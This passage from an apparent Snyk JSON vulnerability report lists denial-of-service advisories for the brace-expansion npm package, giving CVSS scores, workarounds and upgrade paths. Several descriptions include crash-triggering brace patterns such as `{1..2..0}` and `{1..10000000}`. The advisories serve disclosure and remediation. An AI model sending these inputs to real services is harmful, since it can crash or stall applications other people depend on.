"GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": 